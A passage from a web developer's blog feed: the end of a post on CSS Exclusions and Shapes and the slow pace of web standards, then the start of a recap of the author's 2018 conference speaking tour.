&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;/* Code that works in all browsers */
.element {
  /* Fallback to a float-based layout */
}

@supports (-ms-wrap-flow: both) {
  .element {
    /* Reset floats and margins */
    /* Exclusions and positioning */
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you look through the code for my Beyoncé article above, you&apos;ll see how the feature query is structured.&lt;/p&gt;
&lt;h3&gt;Tiny bit of history&lt;/h3&gt;
&lt;p&gt;As per my outsider understanding, CSS Shapes and Exclusions started out as a combined specification back in 2011. And back then the idea was to allow for CSS Exclusions and CSS Shapes to be used together to create sophisticated layouts, by letting content flow into and/or around shapes, even arbitrarily complex ones.&lt;/p&gt;
&lt;p&gt;But the actual implementation of this idea is not straightforward at all. If you think about it, it&apos;s nice to have text flow within a shape, but what happens if the text is exceeds the amount of space available within the defined shape? Where would that extra content go?&lt;/p&gt;
&lt;p&gt;I chatted with &lt;a href=&quot;http://jensimmons.com/&quot;&gt;Jen Simmons&lt;/a&gt; about this issue before, and learned that &lt;code&gt;shape-inside&lt;/code&gt; can&apos;t be defined until someone comes up with a solution that solves the use cases which &lt;a href=&quot;https://www.w3.org/TR/css-regions-1/&quot;&gt;CSS Regions&lt;/a&gt; was attempting to solve. And the current proposal for CSS Regions is not ideal and requires reworking.&lt;/p&gt;
&lt;p&gt;Eventually, CSS Shapes and CSS Exclusions got split up into their own specifications, with the scope of CSS Shapes pruned further so that at least &lt;code&gt;shape-outside&lt;/code&gt; could be shipped first.&lt;/p&gt;
&lt;p&gt;Maybe if more people start writing up use cases, or talk and tweet about this, we could get things moving. Because, come on, just look at the general sentiment about this feature.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;OMG, what are these signals we&apos;re sending?&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/css-exclusions/users.jpg&quot; srcset=&quot;/images/posts/css-exclusions/users@2x.jpg 2x&quot; alt=&quot;Chrome platform status: CSS exclusions&quot;/&gt;
&lt;/figure&gt;
&lt;p&gt;Public scepticism?? Sigh.&lt;/p&gt;
&lt;p&gt;And again, it boils down to priorities for browser vendors, because there&apos;s so much to be done, features like subgrid, initial-letter, column-span, bug fixes for flexbox and grid, the list is almost endless. But if enough of us are excited about exclusions and shapes, it&apos;s definitely possible to push this up the priority list.&lt;/p&gt;
&lt;h2&gt;Web standards need time&lt;/h2&gt;
&lt;p&gt;And when it comes to the specifications themselves, Bruce Lawson sums it up rather well in his article, &lt;a href=&quot;https://www.brucelawson.co.uk/2018/why-are-web-standards-so-slow/&quot;&gt;Why are web standards so slow&lt;/a&gt;, when he says:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;But if the CSS Working Group get it wrong, it&apos;ll be on the web–and pissing off web developers–for ever.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you&apos;re still not convinced, here&apos;s another video that illustrates the amount of consideration that goes into crafting a specification, by &lt;a href=&quot;https://meyerweb.com/&quot;&gt;Eric Meyer&lt;/a&gt; at &lt;a href=&quot;https://cssday.nl/2018&quot;&gt;CSS Day 2018&lt;/a&gt;.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/cXoSOPyP2UM&quot; title=&quot;Eric Meyer | The Friction of Web Standards | CSS Day 2018&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;And once a specification is hashed out, browser vendors have to consider how to implement the specification in their respective engines, and whether it&apos;s worth the effort to do it sooner than later.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Long story short, try out all the new CSS features. Build demos, and play around with anything that seems remotely interesting. Even if that feature is in early stages, or only supported by 1 browser. And then talk about it, or write and tweet about your experience, your use cases, what you liked or disliked about it.&lt;/p&gt;
&lt;p&gt;We can shape the web to what we want it to be, but only if we get involved. It takes all of us, from specification writers and the CSS working group, to all the browser vendors, to the rest of us who build stuff on the web.&lt;/p&gt;
&lt;p&gt;Let&apos;s make this happen, my friends. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;flexed muscle&quot;&gt;💪&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Relevant reading&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://drafts.csswg.org/css-exclusions/&quot;&gt;CSS Exclusions Module Level 1 Editor’s Draft&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://rachelandrew.co.uk/archives/2016/03/16/css-exclusions-and-grid-layout/&quot;&gt;CSS Exclusions and Grid Layout&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=234749&quot;&gt;Chromium archived exclusions implementation issue&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/ie/hh673558(v=vs.94)&quot;&gt;Internet Explorer implementation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Poster font is by Enemy Sub by &lt;a href=&quot;https://zapatopi.net/fonts/&quot;&gt;Lyle Zapato&lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Talking about talking CSS 2018 edition</title><link>https://chenhuijing.com/blog/speaking-in-2018/</link><guid isPermaLink="true">https://chenhuijing.com/blog/speaking-in-2018/</guid><description>Last year was the first time I spoke at any event outside of Singapore, and it was quite a whirlwind experience. I absolutely LOVED every minute of it, and did…</description><pubDate>Tue, 17 Jul 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Last year was the first time I spoke at any event outside of Singapore, and it was quite a whirlwind experience. I absolutely LOVED every minute of it, and did a recap of the &lt;a href=&quot;/blog/talking-about-talking-css/&quot;&gt;Mozilla Developer Asia Roadshow&lt;/a&gt; where I met a lot of amazing and interesting people. So why not do it again for 2018?&lt;/p&gt;
&lt;p&gt;My strategy for submitting call-for-proposals (CFPs) is: &lt;strong&gt;I have none&lt;/strong&gt;. I try to submit whenever I see an open call, and hope for the best. I actually expect rejection most of the time because, let&apos;s be honest, it&apos;s a numbers game. Organisers receive hundreds, probably thousands of applications, and it&apos;s so hard to narrow it down to just a handful.&lt;/p&gt;
&lt;p&gt;So whenever I get the rare, “&lt;em&gt;Congratulations, your talk has been accepted&lt;/em&gt;” reply, I don&apos;t think twice and just say yes (let&apos;s ignore the fact I don&apos;t think much in general). Because I feel like if I don&apos;t say yes now, I will &lt;strong&gt;NEVER&lt;/strong&gt; get the opportunity ever again.&lt;/p&gt;
&lt;p&gt;I &lt;a href=&quot;/blog/musings-on-speaking-at-conferences/&quot;&gt;wrote a little bit about this&lt;/a&gt; last year after a conversation with my good friend, &lt;a href=&quot;https://aysha.me/&quot;&gt;Aysha&lt;/a&gt;, that opportunities for speakers from Southeast-Asia aren&apos;t exactly falling out of the sky. And I can&apos;t put into words how appreciative I am to the various conference organisers for giving me the chance to speak at their events.&lt;/p&gt;
&lt;p&gt;Which brings us to my conference schedule for 2018. We&apos;ve established that I don&apos;t think very much before making decisions, which explains exactly how I ended up an exciting month of June (and possibly September). I&apos;m not complaining though, because I&apos;m having the time of my life. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with sunglasses&quot;&gt;😎&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#--talkcss-max-content&quot;&gt;Talk.CSS max-content @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Singapore&quot;&gt;🇸🇬&lt;/span&gt; on 23 Jan&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--jsconfasia-2018&quot;&gt;JSConf.Asia 2018 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Singapore&quot;&gt;🇸🇬&lt;/span&gt; on 25 Jan&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--mozilla-tech-briefing&quot;&gt;Mozilla Tech Briefing @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Remote&quot;&gt;🌐&lt;/span&gt; on 15 Feb&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--github-constellation&quot;&gt;Github Constellation @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Singapore&quot;&gt;🇸🇬&lt;/span&gt; on 26 Feb&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--smashing-conference-sf-2018&quot;&gt;Smashing Conference SF 2018 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;United States of America&quot;&gt;🇺🇸&lt;/span&gt; on 18 Apr&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--you-gotta-love-frontend-kyiv&quot;&gt;You Gotta Love Frontend Kyiv @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Ukraine&quot;&gt;🇺🇦&lt;/span&gt; on 24 May&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--cssconfeu-2018&quot;&gt;CSSconf EU 2018 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Germany&quot;&gt;🇩🇪&lt;/span&gt; on 01 Jun&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--css-day-2018&quot;&gt;CSS Day 2018 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;The Netherlands&quot;&gt;🇳🇱&lt;/span&gt; on 15 Jun&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--web-directions-code-2018&quot;&gt;Web Directions Code @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Australia&quot;&gt;🇦🇺&lt;/span&gt; on 02 Aug&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--form-function--class-9&quot;&gt;Form Function Class 9 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Philippines&quot;&gt;🇵🇭&lt;/span&gt; on 18 Aug&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--refresh-2018&quot;&gt;Refresh 2018 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Estonia&quot;&gt;🇪🇪&lt;/span&gt; on 7 Sep&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--tech-speakers-meetup&quot;&gt;Tech Speakers Meetup @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;France&quot;&gt;🇫🇷&lt;/span&gt; on 14 Sep&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--w3c-workshop-on-digital-publication-layout-and-presentation&quot;&gt;W3C Workshop on Digital Publication Layout and Presentation @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Japan&quot;&gt;🇯🇵&lt;/span&gt; on 18 Sep&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--css-minsk-js-2018&quot;&gt;CSS-Minsk-JS @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Belarus&quot;&gt;🇧🇾&lt;/span&gt; on 21 Sep&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--view-source-2018&quot;&gt;View Source 2018 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;United Kingdom&quot;&gt;🇬🇧&lt;/span&gt; on 26 Oct&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--beyond-tellerrand-2018&quot;&gt;beyond tellerrand 2018 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Germany&quot;&gt;🇩🇪&lt;/span&gt; on 06 Nov&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#--detech-conference-2018&quot;&gt;deTECH Conference 2018 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Malaysia&quot;&gt;🇲🇾&lt;/span&gt; on 15 Nov&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#bonus-round---mozkopdar-jkt-dec-2018&quot;&gt;MozKopdar JKT Dec 2018 @ &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Indonesia&quot;&gt;🇮🇩&lt;/span&gt; on 16 Dec&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Singapore&quot;&gt;🇸🇬&lt;/span&gt; @ Talk.CSS max-content&lt;/h2&gt;
&lt;p&gt;We can look at &lt;a href=&quot;https://singaporecss.github.io/24/&quot;&gt;Talk.CSS max-content&lt;/a&gt; either as an expanded meet-up or a mini-conference, two sides of the same oreo. This was the first time Talk.CSS sold tickets because we were flying in a speaker from Australia, giving out some swag and putting up some semblance of promotional material.&lt;/p&gt;
&lt;p&gt;Okay, it was 2 banners, stop judging.&lt;/p&gt;
&lt;p&gt;Although this year&apos;s format for &lt;a href=&quot;https://2018.jsconf.asia/&quot;&gt;JSConf.Asia&lt;/a&gt; involved folding in all the CSS talks into the 3-day extravaganza, we still wanted a sort of CSS-themed event, so by the power of relationships (mostly those of my co-organiser, &lt;a href=&quot;https://twitter.com/cliener&quot;&gt;Chris Lienert&lt;/a&gt;), we managed to get 2 fabulous speakers all the way from Australia, &lt;a href=&quot;https://twitter.com/Mandy_Kerr&quot;&gt;Mandy Michael&lt;/a&gt; and &lt;a href=&quot;https://stuffandnonsense.co.uk/&quot;&gt;Andy Clarke&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Still amazed we managed to pull it off&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/talkcss-480.jpg 480w, /images/posts/talking-css-2018/talkcss-640.jpg 640w, /images/posts/talking-css-2018/talkcss-960.jpg 960w, /images/posts/talking-css-2018/talkcss-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/talkcss-640.jpg&quot; alt=&quot;Talk.CSS max-content edition&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;I closed the event with my first sort-of non-technical talk, which was basically a love letter to the web. But overall, it was a surprisingly successful event. Full write-up &lt;a href=&quot;https://singaporecss.github.io/24/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Singapore&quot;&gt;🇸🇬&lt;/span&gt; @ &lt;a href=&quot;http://JSConf.Asia&quot;&gt;JSConf.Asia&lt;/a&gt; 2018&lt;/h2&gt;
&lt;p&gt;Ah, the conference that started it all. I first attended &lt;a href=&quot;https://2014.cssconf.asia/&quot;&gt;CSSConf.Asia in 2014&lt;/a&gt;, and it was such an experience. I hadn&apos;t started speaking yet, but the thought of being on stage did cross my mind. This is my fourth year being involved with &lt;a href=&quot;https://jsconf.asia/&quot;&gt;CSSConf.Asia/JSConf.Asia&lt;/a&gt; in some capacity, and I hope this streak continues on.&lt;/p&gt;
&lt;p&gt;First conference talk of 2018! This is the talk that sent me around the world, it&apos;s about vertical writing on the web. I&apos;m very grateful that a number of conference organisers decided to pick it up and let me do this talk in front of audiences around the world.&lt;/p&gt;
&lt;p&gt;Doing this talk in front of a “home” crowd felt a bit special, though. As usual, before the talk, I&apos;m on conference duty, manning the T-shirt booth but somehow ended up surrounded with boxes of bottled water.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;water.js?&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/jsconfasia-480.jpg 480w, /images/posts/talking-css-2018/jsconfasia-640.jpg 640w, /images/posts/talking-css-2018/jsconfasia-960.jpg 960w, /images/posts/talking-css-2018/jsconfasia-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/jsconfasia-640.jpg&quot; alt=&quot;JSConf.Asia swag booth&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;It&apos;s a known fact that I don&apos;t adult in general, but sometimes there are exceptions, like when I have to go on stage. Because even I, have standards. I think I got a few double-takes when walking back into the theatre, like “&lt;em&gt;wait, wasn&apos;t that the angry t-shirt booth lady?&lt;/em&gt;” (there&apos;s a story to the ‘angry’ bit, ask me about it, if you like). &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Costume change after lunch&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/jsconfasia2-480.jpg 480w, /images/posts/talking-css-2018/jsconfasia2-640.jpg 640w, /images/posts/talking-css-2018/jsconfasia2-960.jpg 960w, /images/posts/talking-css-2018/jsconfasia2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/jsconfasia2-640.jpg&quot; alt=&quot;On stage at JSConf.Asia&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;This being the second time I&apos;ve ever been on stage at the Capitol Theatre, I already knew what it would feel like. The spotlight made it nearly impossible to see the audience, and I found this rather amusing because it felt like I was talking to myself. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;ROFL&quot;&gt;🤣&lt;/span&gt;&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/Tqxo269aORM?rel=0&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;I was told I looked professional, which is hilarious, but I have since decided to call my on-stage apparel choices “Cinderella mode”, because it only lasts all of 3 seconds before I revert to “Pumpkin mode”, which is what all my friends see &lt;em&gt;all the time&lt;/em&gt;. See exhibit below:&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Aren&apos;t all workshops run from the floor?&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/jsconfasia3-480.jpg 480w, /images/posts/talking-css-2018/jsconfasia3-640.jpg 640w, /images/posts/talking-css-2018/jsconfasia3-960.jpg 960w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/jsconfasia3-640.jpg&quot; alt=&quot;On the floor at JSConf.Asia&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Let me explain what&apos;s going on. Long story short, the projector was so blur we had to replace it with a huge TV instead. Unfortunately, cable lengths were not sufficient, and rather than do a lot of furniture shifting, I decided that shifting myself would be the most efficient thing to do. To the floor! Also, I&apos;m all of 5 years old and when I see a nice carpet, I must sit on it. Sans shoes.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Making the photographer&apos;s job difficult&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/jsconfasia4-480.jpg 480w, /images/posts/talking-css-2018/jsconfasia4-640.jpg 640w, /images/posts/talking-css-2018/jsconfasia4-960.jpg 960w, /images/posts/talking-css-2018/jsconfasia4-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/jsconfasia4-640.jpg&quot; alt=&quot;After the photographer found me on the floor&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;I was informed by my fellow workshop facilitators that the event photographer was perplexed for a while because all he could hear was my disembodied voice, however, he could not see where I was at all.&lt;/p&gt;
&lt;p&gt;I honestly had no idea why anyone would sign up for my workshop, but thankfully the attendees were sufficiently interested in CSS Grid to disregard my unorthodox approach. I&apos;ll try to be more adult in my next workshop. Maybe.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/nx0yboEhUNc?rel=0&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Remote&quot;&gt;🌐&lt;/span&gt; @ Mozilla Tech Briefing&lt;/h2&gt;
&lt;p&gt;This was the first time I ever did a talk over video conference, and it was quite fun. Because I had some bits of live coding on the presentation, my slides were full screen on my computer, and I couldn&apos;t see the other participants on the video call, which was interesting.&lt;/p&gt;
&lt;p&gt;But this was also memorable because not long after, I officially joined the &lt;a href=&quot;https://wiki.mozilla.org/TechSpeakers&quot;&gt;Mozilla TechSpeakers&lt;/a&gt; initiative, which made it easier to explain my relationship with Mozilla. As previously, it was, how should we put this, complicated. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/ahPRvVyw9Eo?rel=0&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Singapore&quot;&gt;🇸🇬&lt;/span&gt; @ GitHub Constellation&lt;/h2&gt;
&lt;p&gt;This year was the first time &lt;a href=&quot;https://githubconstellation.com/&quot;&gt;GitHub Constellation&lt;/a&gt; ran in Singapore. I had heard plans for this the year before but somehow it didn&apos;t come through. I was connected to the organiser of this event by Mozilla and had been asked to speak about CSS layout, which is just up my alley.&lt;/p&gt;
&lt;p&gt;The only thing was that the event took place at a rooftop bar kind of setting, which was a great location for networking but the acoustics of the place was a bit tricky for an event involving a bunch of talks. It also wasn&apos;t really set up for talks, it was more of a live band performance stage thing. So there was no way to display both slides and speaker notes.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/24vLH3MC4bc?rel=0&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;Good thing this was a subject I could talk for hours on end, not so good is that without speaker notes, I&apos;m not as tight with time. So I sort of breezed through the final few slides, but it was a cool experience all around.&lt;/p&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;United States of America&quot;&gt;🇺🇸&lt;/span&gt; @ Smashing Conference SF 2018&lt;/h2&gt;
&lt;p&gt;Being invited to speak at &lt;a href=&quot;https://smashingconf.com/sf-2018/&quot;&gt;Smashing Conf&lt;/a&gt; was such a wonderful opportunity, and it was my first time speaking to a predominantly American audience. But being on the Mozilla Developer Roadshow the year before meant that I was already familiar with &lt;a href=&quot;https://www.smashingmagazine.com/speaker/vitaly-friedman/&quot;&gt;Vitaly Friedman&lt;/a&gt; (who I seem to bump into all the time &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;grinning face with smiling eyes&quot;&gt;😁&lt;/span&gt;) and &lt;a href=&quot;https://twitter.com/indysigner&quot;&gt;Markus Seyfferth&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And because it was in San Francisco, I got also arrange to meet a number of people whom I&apos;d only ever interacted with online. My broke ass found that accommodation in San Francisco was unacceptably exorbitant, so on a whim, I decided to pop down to San Diego for 3 nights before heading up to Mountain View to visit the Mozilla office.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Hello, San Diego!&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/smashing-480.jpg 480w, /images/posts/talking-css-2018/smashing-640.jpg 640w, /images/posts/talking-css-2018/smashing-960.jpg 960w, /images/posts/talking-css-2018/smashing-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/smashing-640.jpg&quot; alt=&quot;Hillcrest, San Diego&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;I still think that was a great decision, because San Diego was a lovely city. I got to meet &lt;a href=&quot;https://twitter.com/saronyitbarek&quot;&gt;Saron&lt;/a&gt;, creator of &lt;a href=&quot;https://www.codenewbie.org/&quot;&gt;CodeNewbie&lt;/a&gt; and such an inspirational and driven woman. That was one of the most fun conversations I&apos;ve ever had, and I really hope to meet her again. Some day.&lt;/p&gt;
&lt;p&gt;I museum a lot, even back home in Singapore. So I couldn&apos;t possibly find myself in Mountain View without visiting the &lt;a href=&quot;http://www.computerhistory.org/&quot;&gt;Computer History Museum&lt;/a&gt;, and it was every bit as good as I imagined (if not better). Some people like going to Disneyland, and feel all sorts of excited and happy when they do. We-ll, it was the same for me at the Computer History Museum.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Can one spend a full day at the Computer History Museum? Yes, definitely.&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/smashing2-480.jpg 480w, /images/posts/talking-css-2018/smashing2-640.jpg 640w, /images/posts/talking-css-2018/smashing2-960.jpg 960w, /images/posts/talking-css-2018/smashing2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/smashing2-640.jpg&quot; alt=&quot;Computer History Museum exhibit&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Normally, you&apos;d get through a museum in a couple hours, right? But I was there almost from opening time till closing time. There was so much to see! Including an original Interface Message Processor (IMP), just like what I&apos;d read in &lt;a href=&quot;https://www.amazon.com/Where-Wizards-Stay-Up-Late/dp/0684832674&quot;&gt;Where wizards stay up late&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Mozilla&apos;s Mountain View Campus&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/smashing3-480.jpg 480w, /images/posts/talking-css-2018/smashing3-640.jpg 640w, /images/posts/talking-css-2018/smashing3-960.jpg 960w, /images/posts/talking-css-2018/smashing3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/smashing3-640.jpg&quot; alt=&quot;Mozilla office at Mountain View&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;The Mozilla office visit was super fun, even though I dropped in on a Friday afternoon, when it was much quieter than usual, but &lt;a href=&quot;https://twitter.com/freshelectrons&quot;&gt;Havi Hoffman&lt;/a&gt;, whom I had met in December at the Mozilla All-Hands showed me around and introduced me to the Mozillians around the office.&lt;/p&gt;
&lt;p&gt;AND we got to play with &lt;a href=&quot;https://github.com/mozilla/hubs&quot;&gt;VR ducks&lt;/a&gt;!&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;All the ducks!&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/talking-css-2018/smashing4-480.jpg 480w, /images/posts/talking-css-2018/smashing4-640.jpg 640w, /images/posts/talking-css-2018/smashing4-960.jpg 960w, /images/posts/talking-css-2018/smashing4-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2018/smashing4-640.jpg&quot; alt=&quot;Ducks in VR with A-frame&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Finally, it was time to get serious. The team at Smashing really know how to do a conference, and the line-up was stellar. I got to meet &lt;a href=&quot;https://rachelandrew.co.uk/&quot;&gt;Rachel Andrew&lt;/a&gt; again, and a lot of new friends doing cool stuff. Had nice long conversations with &lt;a href=&quot;https://mrjoe.uk/&quot;&gt;Joe Leech&lt;/a&gt; and &lt;a href=&quot;https://www.madebymike.com.au/&quot;&gt;Mike Rithmuller&lt;/a&gt;. And I met the lady who campaigned for and created the dumpling emoji, &lt;a href=&quot;http://www.yiyinglu.com/&quot;&gt;Lu Yiying&lt;/a&gt;!&lt;/p&gt;
&lt;iframe src=&quot;https://player.vimeo.com/video/266779370&quot; width=&quot;640&quot; height=&quot;360&quot; frameborder=&quot;0&quot; webkitallowfullscreen mozallowfullscreen allowfullscreen&gt;&lt;/iframe&gt;
